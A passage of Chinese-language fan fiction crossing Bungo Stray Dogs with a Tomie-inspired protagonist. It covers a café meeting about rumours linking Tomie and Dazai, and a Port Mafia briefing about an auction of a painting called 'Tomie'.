黑发青年张了张嘴，似乎想要说些什么。 可不等对方出声，中原中也就继续道，“虽然不知道你是用什么姿态出现在对方面前的，但是现在……” “——我要把你的真实面目告诉他。”他斩钉截铁道。 说完，他松开揪住对方衣领的手，将对方甩在沙发上，然后整个人头也不回地离开了对方所在的办公室。 独留黑发青年坐在沙发上，低垂着头不知道是什么神情。 第25章 【请问……方便出来见面吗？富江。——中原中也】 高级公寓内, 坐在沙发上的宫水富江略微奇怪地看着这条突然的短信。 自从上次送完谢礼后，他便再也没有和这位中原先生联系过。 所以面对对方突如其来的要求见面的信息，宫水富江出于自身的原因, 第一反应是对方是不是也受到了体质影响。 他的手指逐渐靠近手机屏幕，却又犹豫。 宫水富江有点不知道自己该怎么委婉拒绝, 才能显得不那么突兀。 ……还是找借口吧。 比如说，他最近出了点小意外, 所以不太方便出门之类的。 而且某种程度上，他这样说也并不是在说谎。 毕竟几天前，他确实才刚遭遇过绑架事件。并在其中受到了惊吓，还失去了点记忆。 思索至此, 宫水富江的指腹接触屏幕，将自己刚刚想好的理由敲打上去并发送。 看着自己的信息下角出现的已读提醒，宫水富江有点紧张。可接下来的半个小时, 他却没有收到对方的任何信息。 以为对方放弃的宫水富江松了口气，他放下手机, 准备去冰箱拿瓶饮料解渴。 然而刚站起身, 被他放在茶几上的手机就发出了铃声。 宫水富江顿了顿脚步，下意识回头注视着手机。 他拿了起来, 果不其然地看到了发件人是他本以为不会再发送消息的中原中也。 他打开手机，本来在想对方会说些什么内容, 却没有想到自己反而睁大了眼睛。 因为对方给他发来的消息是—— 【我知道在你身上发生的这件事, 倒不如说, 我就是想和你聊聊和这件事情有关的另一个人……太宰治的事情。——中原中也】 等等！对方是怎么知道这件事情的？ 话说，对方又是怎么知道和这件事情有关的另一个人是太宰先生？ 就好像知道宫水富江心中所想，下一刻对方再次发来了一条信息。 【虽然有些不愿意承认，但我和那个家伙是同事关系……！——中原中也】 宫水富江看着这则消息愣在原地。 虽然他的心里还是有些疑问, 但是不知为何，他从对方发出的这条消息里，感受到了对方咬牙切齿的心情。 他歪了歪头，在沙发边上看着手机的黑发少年身上涌现出了困惑的神情。 虽然不明所以，但既然对方都讲到这里了，宫水富江也没有再继续拒绝下去的理由。 他动了动手指，给对方发送了同意的回信。 * 横滨某处略微偏远的咖啡店内，身穿橘色内搭灰色外套、头戴黑色鸭舌帽一身潮服的赭发青年正坐在靠近窗边的一个角落座位上。 对方面前的桌面上还摆放着一杯的咖啡，但目光却时不时看向不远处挂着钟表的墙壁和窗外稀少的路人。 很明显，中原中也正略显焦急地等待某个人的到来。 为此他特意换上了更加符合现在状况的休闲穿搭，而这所有的一切都要从上次找到太宰治讲起。 虽然他上次讲了那么多，并最后对着太宰治甩出狠话离去。 但只有他自己知道，回归现实情况，自己主动找理由将对方约出来的时候有多么困难。 为了纠结措辞，他反复在手机上敲打了半天的键盘，却又在最后以各种理由一一删除。 包括但不限于：太长、措辞复杂、太公式化、语气不行…… 终于在纠结了足足几天后，他才鼓起了勇气发送了那条采纳副手建议的消息。 其实在这个时间里，中原中也原本还担心太宰治会不会捷足先登做些什么，却发现对方和他相反，最近一段时间一直处于加班工作的状态。 虽然不清楚原因，但对于他来说是件好事。为了给对方留下好印象，中原中也还特意寻找了红叶大姐寻求意见。 所以，才换上这样的服装，约在这样的地点，等待对方的到来。 想到这里，中原中也忍不住回想起了当时红叶大姐那调侃的话语和感兴趣的目光。 他习惯性地想要压自己的帽檐，但接触鸭舌帽才反应过来自己今天换了一顶帽子。于是在中途，手的姿势改换成捏着帽檐，调整了角度。 “叮铃铃——” 表明着新客人到来的门铃响起，中原中也下意识抬起头。 果不其然，他看到了自己熟悉的人影。 黑发少年身穿低调的休闲服装，和之前两次见面不同的是，对方此时没有在戴着口罩的同时头戴黑色的鸭舌帽，似乎比之前要更加大胆一些 并且对方手中握着一把遮阳伞，但似乎忘记了这种物品不能随意带进店内，直至在店员的提醒下，才摆放在了门口的雨伞收纳箱中。 这个时候的对方举止尴尬，即使有口罩遮掩，也仿佛能看到对方里面因为这种举动而微微泛红的脸颊。 似乎是为了不再原地引人注目，少年很快朝着这边四处查看。 中原中也想，对方应该是在寻找他的位置。 但又不知为何，怎么都没有看到他的身影。 想到这里，他举起手，示意黑发少年对方要找的人在这里。 对方在见到他的动作后，黑色的双眸突然发亮，随后着急忙慌地走了过来。 中原中也就这样看着对方坐到了他的面前，对着他不好意思道，“抱歉，中原先生。我来晚了……” “并没有来晚，是我来得太早了。”中原中也回答。 这并非只是缓解少年压力所说的客套话。 为了准备这次的见面，他提前了将近半个小时来到了这里，以至于连咖啡中的冰块此刻都消融殆尽。 他看着少年额头刘海下的细微汗珠，主动朝着服务员点了一杯带冰的咖啡。 这家咖啡厅因为地理位置，客人比较少。 服务员很快端着咖啡出现在了少年的身旁，并主动摆放。 不知道是因为少年刚从外面进来，身上带着热气的缘故，还是别的原因。 中原中也除了闻到这家店浓郁的咖啡的味道，还闻到了一股幽香。 但很快，他的表情变得不算太好。 因为他发现那个服务员在弯腰摆放咖啡时候，视线不自觉地飘向少年因为擦汗而解开口罩露出的脸颊。 见状，中原中也伸出手指轻轻敲打着桌面发出声响。 服务员很快看了过来，在注意到他的神情后迅速低头离开。 “怎么了吗？” 中原中也看着毫无自知之明茫然看向这边的黑发少年，淡定回答，“没事，只是让对方赶紧离开。毕竟我们接下来要交谈的事情，不太适合让别人听见。” 他的话音刚落，就注意到了少年喝着咖啡的动作一顿。 “说起来……中原先生在短信上所说的事情是真的吗？” 看着黑发少年捧着咖啡小心翼翼说话地模样，中原中也只觉得对方像只懵懵懂懂的松鼠。 他不由得勾起唇角，回答，“如果你问的是我和太宰的关系，那么我的回答是肯定的。” 讲到这里，中原中也靠在咖啡店沙发座位上，另一只手摆放在靠椅上并伸出一根手指撑起自己的鸭舌帽，对着面前的黑发少年肯定地回答。 “我和太宰一样，是港口Mafia的一员。” 对方张了张嘴，似乎不知道该说些什么。 中原中也也并不着急，既然对方能够接受太宰治的身份，那么就没有理由不能接受他的身份。 想到这里，他淡定地用左手端起面前已经常温的咖啡抿了一口，等待面前少年的回神。 终于，对方有所反应。 “怪不得之前每次看见中原先生都是穿着黑色西装的样子。” “不过，今天的中原先生穿得就很嗯、……年轻？” 哪怕是中原中也，也没有想到对方会是这样的反应。 这一刻，他不禁有些想笑。 他放下手中的咖啡，对着面前看似无奈地回答，“你对Mafia也太刻板印象了吧？不是所有Mafia的成员都穿着黑色西装，像我认识的人里，也有穿着和服或者别的服装的。” 说着，他继续道，“而且我才18岁，和你的年纪本来相差就不大。平日里穿西装也是为了在部下和敌人面前显得更加有威严而已，防止被他们小看了。” 被他解释到的黑发少年露出了恍然大悟的神情，“这样看来，好像和太宰先生差不多大。” 听到这句话，中原中也脸上的微笑一僵。 在这种情况不错的时候听到那个家伙的名字，说实话真的破坏氛围。 不过，对方这样一说，中原中也想起了被自己刻意忽略的真实目的。 他摩挲了一下咖啡杯外壁，缓解自己的紧张。 随后闭上眼睛，等到内心做好准备后，他才睁开双眼，询问对方： “……你知道港口Mafia内都是怎么传你和太宰之间的关系吗？” 看着黑发少年摇了摇头，中原中也嘴角勾起略显嘲讽的笑容，回答对方。 “——他们都说太宰那个家伙在金屋藏娇。” 黑发少年喝咖啡的动作一顿，紧接着在反应过来后猛地咳嗽起来。 中原中也不由得担忧望了过去，只见少年正在轻拍自己的胸膛，在咳嗽有所缓和后，蒙圈地用手指了指自己。 “金、金屋藏娇？” “……我吗？” 看着对方那毫不知情的茫然表情，中原中也就知道太宰治是故意的。 对方肯定没有将自己真实的一面告诉黑发少年，又或者说蒙骗了对方，以至于对方什么都不知情。 想到这里，他点头肯定了对方的询问： “没错，就是指你。” 第26章 看着赭发青年如此肯定的模样, 宫水富江陷入了震惊。 虽然之前被绑架的时候，好像是听到那些人说什么他是太宰先生的情、情人，但是…… 他完全不懂自己成为太宰先生的同居人和被、被包养, 是怎么联系起来的。 甚至想想那个词，宫水富江都觉得自己作为大学生那纯洁的心灵都没了。 他回想了一下自己与太宰先生相处的过程。 他安心在家制作料理给对方, 处理家务，而对方上班。 ……好像是有点那个味道。 但是！ 宫水富江仔细想想, 他很确信自己除了使用太宰先生的公寓外，没有任何出格行为。 连带着购买食材所花的钱都是从YMC那里赚取过来的——除非那些港口Mafia的人将YMC定义为是太宰先生送给他的。 宫水富江抬起头看向面前的赭发青年，有些不好意思地开口询问对方，“请问港口Mafia内……都是怎么造谣我和太宰先生的？” 赭发青年做出回想的动作, 对他解释，“太宰的名声在港口Mafia不算很好，因此没有人觉得太宰那个家伙有正常的交往对象, 所以在看见对方携带便当后，认为是情人。” 宫水富江边听着对方说, 边点头。 太宰先生在港口Mafia的地位和名声不怎么好这一点, 他大概能明白。 毕竟太宰先生又不是自愿出现在港口Mafia内工作的，所以会被人误解也很正常。 不过这样一来, 他也算明白自己和太宰先生被造谣是怎么回事了。想必都是些自以为是的成员看不惯太宰先生，所以肆意造谣传播。 想着想着, 宫水富江的脑海中浮现出了在港口Mafia被孤立的太宰先生, 和在对方周围窃窃私语的成员们。 紧接着, 赭发青年又继续道，“后来是太宰在出任务的过程中，在画展上为女伴发怒这件事引起了所有人的注意。” 宫水富江听到这句话，继续点头。 虽然不算太心甘情愿, 但他为了帮助太宰先生还是扮演了对方的女伴。 只不过那个‘在画展上为女伴发怒’…… 宫水富江有点心虚，虽然是事实，但本质上应该不是他们所想的那样。 当时那个画家因为体质影响，所以才会纠缠上他。倒不如说，过来帮他的太宰先生是不小心被扯进来的无辜之人。 而且，说发怒有点太小题大做了。 太宰先生只是冷着脸而已。 这个时候的宫水富江还很淡定，直到他又听到赭发青年继续道，“我记得这件事情，好像还引起了首领的注意。” “首、首领？！”宫水富江大惊失色。 他可是清楚地知道这个港口Mafia的首领是个什么样的人呢！ 邪恶、压榨下属，还会挟持人质进行威逼利诱……再结合太宰先生和面前中原先生的年龄来看，对方还雇佣未成年人！简直是十恶不赦！ 要知道现在Mafia在日本也能成为合法企业，但对方不仅不想这么做！甚至连演都不演！ ——虽然这么想，但胆子小小的他还是不敢真的对上这位港口Mafia的首领。 于是，他弱弱地询问，“对方不会对我做什么吧？” 这句话不知道令赭发青年想起了什么，只见对方突然脸色奇怪地回答，“应该不会，毕竟首领他只对12岁以下的少女感兴趣……” 宫水富江猛地睁大双眸。 虽然对方刚刚说那句话的声音比较小，但是他还是听清楚了的！ 什么叫作对十二岁以下的少女感兴趣……这分明就是萝莉控！ 不过，这种听起来中年大叔和萝莉控的组合，好熟悉啊。 宫水富江的脑海里，不自觉地浮现出了上次在蛋糕店遇到的那两个中年邋遢医生和被宠坏的金发少女的存在。 可很快，他将自己脑海中的东西甩了出去。 这两个人可是父女！他怎么能这么想！ 实在是太不道德了！ ——虽然看不出来是亲父女就是了。 他又补充想到。 说着说着，对方似乎也发现自己说了什么不得了的话题，急忙对着他道，“刚刚的话，你就当作什么都没有听见好了！是我想错方向了！” 在宫水富江的目光中，赭发青年像是尴尬羞愧地捂着脸，对他伸出手示意不要想刚刚的话语。 很快，对方就收拾好了情绪，抬起头对他继续回答。 “……首领他一般不会关注下属情感问题这种小事的。而且据我所知，首领也只是让太宰进办公室聊了几句。到现在为止也过去有段时间了，我想应该没有什么。” 不同于宫水富江所想，在中原中也的心里，森鸥外是位合格……甚至说得上是位值得尊敬的首领。 对方也许会在意甚至关注这件事情。但再怎么样，作为首领对方总不至于干涉下属的私生活吧？ 而且—— 中原中也的目光看向面前这个除了美貌外，好像没有其他特殊地方的黑发少年。 他也不认为，对方像是会引起首领关注的样子。 见对方困惑地对他歪了歪头，中原中也这才意识到自己刚刚不小心盯了对方有点久，于是立即看向摆在自己面前的咖啡喝了一口。 苦涩的味道通过味蕾浮现在大脑，中原中也瞬间觉得自己的想法清晰了很多。 他放下手中的咖啡，回归最初的问题。 “最后一次就是前不久……”中原中也面色逐渐严肃，他与黑发少年对视，“就是你遭遇绑架的那次。” “关于你的事情，彻底在港口Mafia内传播。” 宫水富江恍然大悟，“所以，这就是中原先生发现原来太宰先生的嗯……是我的原因吗？” 他故意用这种形式模糊掉了那个令他不适的词汇，但他想中原先生大概明白他的意思。 不过这样一来，他也算明白为什么那些家伙会认为他是太宰先生的情人了。 “……没错。”对方情绪有些不对地承认了这个问题。 没等宫水富江知道对方怎么了的时候，他发现赭发青年不知为何低垂着头，然后又抬起来对他认真开口，“关于这件事情，我很抱歉。” “啊、啊？”他茫然地张嘴。 中原中也却目光凝重，“我不知道你知不知情，但其实绑架你的那些残党是我和太宰上一个任务中所需要剿灭的组织中的成员。如果我当时能够将他们……” 宫水富江明白了对方的意思，其实就是对方觉得他会被绑架，有一部分原因在于对方没有歼灭组织内所有成员。 想到这里，他不禁勾起了唇角。 “说起来，”宫水富江打断对方的对话，在对方视线移过来后继续道，“当时被绑架的时候，其中一个残党曾对我说，我被绑架这件事情要恨就应该去恨太宰先生。” 见中原先生眼神困惑，似乎并不明白他的意思，宫水富江又继续说。 “但我当时在内心否定了他的说法，并清楚地明白憎恨的对象就是那些人。” “因为太宰先生并没有错，他只是在完成自己的任务。我也没有错，因为我本身就是受害者。” “但现在我想我应该需要和中原先生你说一句……” 中原中也注意到少年嘴角上扬，并对他道： “中原先生你也没有错。因为你也只是在完成任务，并不知道后面会发生的一切，所以没有必要将我被绑架这件事情的责任揽上一部分到自己的肩上。” 视野所能看见的画面范围减小，只能注意到黑发少年的神态明媚，紧接着对方周围的背景环境开始虚化。 除了时不时放大可见的脸部特写外，最清晰的就是对方刚刚的那句话。 这种感觉…… ——像极了初见对方的时候。 中原中也睁大双眸想。 “……中原先生？中原先生？” 耳边传来熟悉的声音，中原中也发现自己视野恢复正常，脸部特写消失，但随之而来的是黑发少年挥舞在他眼前的手掌。 他的意识清醒，这才发现原来刚刚自己走神的时候，对方以为他有什么问题，于是站起身越过桌子凑到了他的面前。 中原中也下意识深呼吸，然而窜入鼻尖的是那股越发浓郁的幽香。 他反应过来之前的服务员恐怕不仅仅被少年的容貌吸引了注意，还被对方身上的香味给吸引走了。 “抱歉，我走神了。”中原中也想要捂脸，但他知道这样只是自欺欺人。 “没关系，只要你没事就好。” 随着对方这句话，中原中也感觉自己的耳尖在发烫。 “总之，我想说的就只有一件事……” 黑发少年还在说着，中原中也强行抬起自己的头看向对方，只见对方继续道: “无论是刚刚那样揽责的中原先生，还是在我被绑架时来救我的太宰先生。” “——在我的心里，你们都是好人！” “……” 中原中也注视着少年越发明媚的笑容，抿了抿嘴。 夸赞一个港口Mafia成员是好人什么的……也许底层人员可以做到不杀人，可是像他们这样双手沾满鲜血的人，绝对不是对方心目中的那种好人。 ——他们这种人的善心，只能发给特殊的人。 思索至此，中原中也猛地想起了自己此行的目的。 他是来这里对黑发少年揭露太宰治真实面目的，而不是听对方给他们发好人卡的！ 于是，他对着再次低垂着头喝着咖啡的少年讲： “虽然不知道太宰给你制造了什么错误印象，但是作为担任他近三年搭档的我可以告诉你……” “——真实的他可没有在你面前表现得那么好。” 说到后面那句话的时候，中原中也还因为联想到了对方平日里的所作所为而不自觉地压低了声线。 第27章 港口Mafia, 最高一层的首领办公室内。 一名穿着内搭为粉白相间、外披半色彼岸花和服的红发女性站在办公桌前，而坐在她对面的是梳着背头、披着红色围巾的中年男性。 即使灯光昏暗，也不难看到两人正带着微笑相互对视。 不知过去了多久, 森鸥外终于对面前这位在他继位之前就是港口Mafia高层、如今已是港口Mafia干部的红发女性发出了声音。 “我记得最近红叶君应该没有什么特殊的任务需要向我汇报吧？所以，”他笑道, “红叶君来到我这里，是有什么事情吗？” 尾崎红叶发出轻盈的笑声, 如同风铃般悦耳，“就像鸥外阁下所说，我来这里并不是来汇报什么任务的。” 森鸥外面不改色地看向面前的女性，适当发出了疑惑的声音, “嗯？” “我是来询问中也他最近的状况的。”尾崎红叶直截了当地表明了自己的来意。 “中也君……吗？” 听到对方的话语，森鸥外垂眸看向桌面上的文件，随后看向在不远处沙发边看起来是在自娱自乐的人形异能体。 不知道想了些什么后, 他抬起头看向面前的罕见的女性干部。 “中也君最近任务完成得很不错哦，而且前不久还很勤奋地加班。”他双手合十抵在下颚处, “虽说因为实绩和贡献的问题微微逊色于太宰君, 以至于要比他慢一步晋升为干部，但是我想等到对方完成我交代的下一个任务, 在出差回来后就可以顺利在太宰君之后晋升成为下一个干部了。” 为了表达曾经对方在篡位中站在他这边的合作情谊，他并不介意将这种略显机密的事情提前告知面前的尾崎红叶。 更别说, 这种事情他其实早就告知中原中也本人。 而且在他看来, 尾崎红叶与中原中也之间的关系比较微妙。 虽然是他主动在中原中也加入港口Mafia时, 将对方送给尾崎红叶带。但他也没有想到，尾崎红叶会这么看重这个孩子。现在的关系比起普通的上下级，两人之间的相处更像是姐弟关系。 果然，是将自己曾经的一部分经历带入到中原中也身上了吗？ 森鸥外如此想到。 尾崎红叶曾被前任首领杀了心爱之人而被迫待在了港口Mafia, 虽然并不知道对方是不是猜测到了什么，但中原中也会加入港口Mafia则是因为他联合太宰治强行斩断对方与曾经同伴的感情。 “是这样吗？听起来确实是一件值得庆祝的事情。不过……”尾崎红叶抬起衣袖遮掩下唇，继续道，“我想问的可不是这种近况。” “我想问的是，其实中也最近的情感状况。”她笑着看向面前的中年男人。 然而她的话音刚落，作为暗杀者的她敏锐地听到了身后不远处传来的声音。 尾崎红叶用余光看了过去，发现是背对着她的森鸥外的人形异能体爱丽丝用油画棒与纸张摩擦进行绘画的声音。 “原来如此，是情感状况啊。” 身前又传来属于首领的恍然大悟的声音，尾崎红叶微眯着双眸，视线转移到面前的男人身上。 “没错。最近那个孩子问了我不少奇奇怪怪的问题呢……结合对方的表现，我想，”尾崎红叶声线压低了些，“那个孩子该不会是喜欢上什么人了吧？” “按你这么说，确实很可疑呢。”森鸥外没有直接回答对方的问题，而是反问对方，“不过，为什么红叶君选择向我询问这种问题？” 红发女性唇角上扬，眉眼弯了起来，并未直接回答对方的问题，而是说了别的话题。 “听说鸥外阁下的弟子太宰似乎也有类似的问题，所以我当然是来取经的。” “我记得阁下前不久曾经独自一人离开了港口Mafia了，不是吗？”她继续道。 森鸥外保持着微笑看着面前的女性，那双紫红色的眼眸在昏暗的环境下却意外地亮。 过了片刻，他才回答，“……被发现了啊？” “好吧，其实我是去见太宰君谣言中的那一位了。” 听到森鸥外这样的话语，除了被对方勾起来的好奇心，尾崎红叶还觉得面前的男人令她联想到了前任首领——那个不让她生出离开想法而将因为喜欢她于是试图带她离开港口Mafia的男人杀掉的存在。 现在面前这个因为下属产生了计划外感情而不自觉去调查的男人，又是如何想的？ “谣言……也就是说是假的？”尾崎红叶询问。 森鸥外顿了顿才回答，“……也不一定吧？” “毕竟那位，确实拥有让人喜欢他的魔力。” 森鸥外说到这里的时候，目光下意识看向了自己的双手。 即使过去了那么多天，这双手也被用水冲洗过无数次，他也偶尔会在走神的时候，恍惚觉得上面似乎还有残存的香味。 “那还真是……” 尾崎红叶没有想到对方居然会给出这么高的评价，在不知道说些什么的同时，她将话题聊回正轨，“所以，鸥外阁下对中也的情况有发现什么吗？” 既然连太宰的事情都去调查了，那么中也的情况恐怕也没有落下。 果不其然，就在尾崎红叶冒出这样想法的下一刻，她听到森鸥外的声音响起。 “啊，其实我已经知道是谁了。” 对方肩上的红色围巾异常鲜艳，尾崎红叶瞄过后，与对方对视，“怎么说？” “让我想想……”中年男人闭目像是在思考着什么，不一会儿后睁开双眸对她开口，“还记得前不久太宰君和中也君之间闹到我办公室的事情吗？” 尾崎红叶若有所思，“我记得中也跟我抱怨过，说是太宰莫名其妙把他的东西抢走吃掉了？” “那个东西，就是出自中也君喜欢的人。”森鸥外直接回答。 他并未直接讲清楚，但在港口Mafia生活那么久的尾崎红叶几乎是瞬间就想明白了对方的言下之意。 她过于宽大的衣袖遮掩了她因为诧异而微张的嘴，但那双睁大双眸还在表达她的惊讶。 “……同一个人？” “同一个人。” 获得答案的尾崎红叶迅速镇定了下来，她的脑海里瞬间浮现了阴暗的想法，可还未向森鸥外证实，就获得了对方的答案。 “太宰君已经调查过了，对方说他没有任何问题。” “……” 尾崎红叶没有立即说话，而是与面前的中年男人对视。 不知道想了些什么，她才缓缓出声询问，“阁下的看法呢？” 太宰治的能力确实毋庸置疑，论天赋确实是在面前这个男人之上。但是对方还是太年轻了，即使有天赋，但从经验方面来说却不如面前的男人。 因此，比起太宰治的结果，她更想知道面前这个男人是什么想法。 被寻求答案的森鸥外注视着桌面上文件的内容，缓缓道，“还不清楚。” “不过我想，我也许很快就能获得答案了。” 听到对方这样说，尾崎红叶也知道对方大概有所行动了。于是在聊了没几句后，便迅速向对方告辞。 离开时，她路过了对方人形异能体的身边。 她用余光看向了对方的所在位置，在对方的周围四处散落着纸张，那些纸张上面都描绘着相似的人物——一名身穿黑色服装的黑发小人。因为对方的绘画能力有限，从尾崎红叶的角度看，除了左眼眼尾处那显眼的泪痣，她找不到任何其他有用的特征。 与此同时，对方不停地用一根红色的油画棒在画着小人的纸张不停涂抹着什么，并时不时发出低笑。 相较于平常的笑声，这种声音更加瘆人。 意识到这点尾崎红叶轻蹙眉头不再继续查看，而是径直打开大门离开了这里。 森鸥外的目光从对方的背影移开，在关门声响起后，他打开了桌面上的文件——那是有关于才川拓人与一场压轴拍品为对方遗作拍卖会的资料。 在尾崎红叶到来之前，他就已经将上面的内容全部看了个遍。 不再继续重复翻看，森鸥外直接拿起他办公桌上直通秘书处的座机。 “帮我召集太宰君和中也君，就说……” 紫红色的眼眸落在资料上，缓缓道，“就说是新的任务。” * 同样的港口Mafia总部大厦内。 黑发青年正睁着眼睛躺在自己办公室内的沙发上盯着天花板一眨不眨，略显苍白的皮肤显得对方这样的举动宛如死人般令人不适。 许久之后，他的副手中西宽人敲响了办公室的大门，请求进来汇报工作进度。 太宰治双眸没有任何变化，只是简单地张嘴发出声音。 “进来。” 中西宽人对于现在出现在自己面前这幅表现的太宰先生接受良好，他低垂着头，开始了今天的任务汇报。 然而才讲到中途，他的上司就直接打断了他。 “……可以了，比起这种汇报，我让另一个下属修复的储存卡的事情现在怎么样了？” 就像许久没有说过话一样，对方的声音带着些许的沙哑。 中西宽人愣了愣，但很快回想了起来对方所说的这件事。 他回答，“那名下属前两天向我汇报过。因为那张储存卡经过复杂的物理损坏，所以修复起来远比其他形式损坏更难，通常来说几周都是正常的。” “不过他已经多花了钱，让对方加急，按对方所说……好像就这几天的事情了。” 说出这句话的时候，中西宽人其实额头开始布满细汗，生怕对方不高兴，质问他们的动作为什么和蜗牛一样慢。 但不知道是什么原因，对方并未开口说话。 中西宽人继续站在原地，不敢抬起头观察对方现在是什么情况。他本想就这样离开，但又想起了秘书处向他交代的事情。 于是他用余光看向上司的位置，然而只能看见对方长长的衣摆正沿着沙发与地板进行亲密接触。 “除此之外……还有一件事要和太宰先生汇报。” “首领刚刚发来通知，表示要召见您。” 他的话语刚落，就听到面前不远处发出窸窸窣窣的声音。 余光再次打量，发现对方已经从躺姿改为坐姿。 “召见？为了什么？” 中西宽人为难地回答，“这、这个没有细说，只是说和任务有关。” 任务…… 听到这样的话语，太宰治不再说话。 他站起身无视副手直接离开了自己的所在位置，去往了首领办公室所在的位置。 在例行的检查后，他便进入了首领办公室内。 介于上次进入时光线对眼睛造成的不适，早就在脑海中记住屋内布局的太宰治闭眸走到了印象中森鸥外办公桌的面前。 “首、……” 他睁开适应黑暗的双眸看向面前的中年男人所在的位置打招呼，可还没有说完，余光便飘到了身旁发色异常显眼的存在。 “……中也？” 赭发青年一如既往对他没有好脸色，“干什么这样看着我？我可是比你还要早到的，好吧？” 太宰治见状，习惯性地摊开双手回怼，“是吗？可能是因为实在是太小了吧，所以刚刚才没有发现。” 虽然没有直接讲出究竟是哪里小，但从第一次见面时就被对方调侃这件事情到现在的中原中也早就明白对方又在针对他的身高。 不过这里是首领的办公室，他不想惹出麻烦。于是只是握紧拳头，为自己反驳。 “哈？我现在还是成长期，迟早有一天可以长得比你还高！” “……中也又在说什么胡话呢？三年前就说这样的话，可到现在也没多少不是吗？说实话，你也是时候差不多该放弃了吧？” 赭发青年瞬间愤怒，“你——” 森鸥外注视着两人的一举一动，见中原中也可能真的打算动手，终于出声打断了两人之间的对话，“嘛嘛中也君，你不要听到太宰君这么一挑衅就被对方激怒了。” 见中原中也因为他的话语强行压下了愤怒后，他又转头看向了黑发青年。 “太宰君也是哦，不要总是惹中也君生气。不然到时候被对方揍了，又要体验自己讨厌的疼痛了，不是吗？” “我知道了，首领。” “是是是……” 相较于认真回答的赭发青年，黑发青年的回答表现得漫不经心。 见两人终于安静下来，森鸥外微笑着看着两人说出了今天召见他们的目的。 “其实呢，今天喊你们过来是因为有个新的任务需要你们……” 然而话语尚未说完，就被黑发青年打断。 “又要和这个蛞蝓一起进行任务？”对方举起手，“首领，我反对！我自己一个人就可以完成任务！” 赭发青年猛地看向身侧的黑发青年，“你这个混蛋，明明连任务的内容都没有听不是吗？” “如果是那种非要使用暴力才能完成的任务，我这边刚好可以用来锻炼一下新收的直属下属呢。” 黑发青年目不转睛地看向正前方，用漫长的语调说出这句话，显然就是故意的。 见两人再次又争吵的端倪，森鸥外不得不再次出声干预。 “那可不行呢，太宰君。” 见黑发青年目光落在他的身上，森鸥外面不改色地继续道，“这次的任务本身就是为了锻炼中也而准备的。” 迎着赭发青年看过来的好奇目光，他保持微笑回答，“我上次不是说中也君就差一个出差积累实绩的机会吗？想了想，还是觉得那种达成合作关系的实绩会更加有效，所以……” 他话语没有说完，头脑异常聪慧的黑发青年就已经明白了他的意思。 对方脸色一黑，接上他的话语，“该不会，首领是想让我教中也怎么谈判并达成合作关系的吧？” 森鸥外瞧着对方的脸色，脸上的笑容微不可察的真实了一点，“怎么会？” “虽说太宰君的实力我很信任，但你之前不是说你已经不想继续接这种任务了吗？再加上最近我自己也很久没有直接离开过港口Mafia了，所以打算这次由我自己亲自面见那位合作商，为此中也君需要在我的身边保护我的安全。” “原来如此。”中原中也恍然大悟。 作为港口Mafia的首领，对方经常遭遇暗杀。 确实需要一位实力过硬的下属护在左右。 不过不同于赭发青年的明白，太宰治相反要更加困惑，“那我过来的意义呢？” 森鸥外双手合十，“当然是辅助我，顺便还能激励中也君努力学习。” 中原中也听到这样的话语，下意识对着首领开口，“就算没有那条青花鱼，我可以努力学习的！” 森鸥外却回答，“但是在这方面，太宰君才是那比我更加擅长的人。” 中原中也听到这样的话语，不再说话。 他当然也明白这一点，只是他真的不是很想…… 他侧身看向身旁的黑发青年，对方神色常常，看不出来有什么问题，就好像前段时间发生的争吵从未出现过一样。 森鸥外注视着中原中也的动作，发现对方不知道想了些什么，伸出手按压了下帽檐，回答他，“……我明白了。” “等等，我还没有说我同意了吧？”黑发青年举起手，如同上课时有异议的学生般。 森鸥外看着想要反抗他话语的黑发青年，露出虚伪的笑容，“太宰君，这是命令。” “……” 对方听到这句话后沉默不语，只是直勾勾地盯着他看了好一会儿，不知道看到了什么，随后缓缓回答，“……我知道了。” 见两人不再争吵，森鸥外嘴角的弧度变大，他开始详细说明了这项任务的细节。 “对方与港口Mafia合作的时间不长，但出手阔绰。作为合作商来说，这类的目标需要好好维护呢。而根据组织内情报处调查的内容来看，对方比较喜欢画作、歌剧这类事情，并且就在这周末，对方准备参加在横滨市中心举办的拍卖会。” 说着，他将两份相同的拍卖会资料递给两人。 “嗯？偏文艺类的吗？要不就是爱好，要不就是为了表演给别人看。” 太宰治相当明白这类人的想法，在获得了物质的追求后，他们就开始追求精神上的一些满足，比如面子，他人投来的羡慕的视线…… 森鸥外并没有回答黑发青年的话语，而是目不转睛地盯着两个已经在翻阅资料的年轻下属们。 “拍卖会吗？”中原中也看着上面已经提前泄露出来的各种琳琅满目的商品重复道。 他对这种事情实在是没有兴趣，但是按照首领所说的话语，说明这次任务目、……合作目标看中的商品就在这些拍品里面。 还没习惯的中原中也不得不强行转变对目标的称呼，然后开始快速阅览上面的物品，想要找到最符合特征的东西。 “……压轴拍品？” 身侧传来了厌恶的青花鱼的低语声，中原中也下意识顺着对方的话语翻到了资料的最后一页。 这面纸张上关于拍品的资料是最少的，少的连拍品的图片都没有，只有寥寥几句话介绍。 他仔细看向这段文字，阅读出来，“这次拍卖会的压轴拍品是之前绘画界内颇具天赋的才川拓人的遗作……” 紧接着在看见作品名字后，顿住并睁大双眸。 “没错。” 森鸥外那双紫红色的眼眸在他们看不到的角度微微发亮，并不动声色地观察着两人反应补充上了画作的名字。 “——《富江》。” 第28章 横滨市中心最大的拍卖行专用的拍卖场所外, 不断有各种各样的豪车行驶。 而在这其中，一辆低调又不失奢华的黑色加长汽车驾驶到了拍卖场所前，早已恭候多时的泊车员见到后立即上前帮打开了这辆汽车门。 很快从上面下来了三位气度非凡的客人, 尽管都穿着高度统一的黑色西装，但仔细一看, 每个人的款式都各不相同。 最前方中年男人穿着黑色大衣、披着红色围巾，就连发型也是井井有条的大背头。 明显是上位者的身份, 但走在对方身后的两个下属显然也不是简单的角色。 左侧的黑发青年披着与前者相似的黑色大衣，表情虽然看似平淡，但那右眼的眼眸却如黑潭般深不见底，不敢令人对视。 右侧的赭发青年戴着黑色礼帽, 看起来普通，但看过去能发现对方的目光在不停地扫视着周围的人群，像是在打量着什么。 不敢过多查看, 泊车员立即来到驾驶座将车开到固定的位置。 …… 太宰治看着身侧的赭发青年，故意用听得到的音量说话, “首领, 我都说了不要带中也一起过来了，你看他那副左顾右盼的模样, 和护主而巡视四周的狗狗有什么区别？真是丢人。” 中原中也听见，猛地回头, “那你可要小心我第一个把你咬死。” “呵。”听到这种话语, 太宰治直接冷笑一声。 走在前方的森鸥外早就听到了身后两人的话语, 他没有回头，只是语气寻常地对两人道，“你们两个人的关系还是一如既往的好呢。” “首领！我怎么可能和那条青花鱼的关系好！” 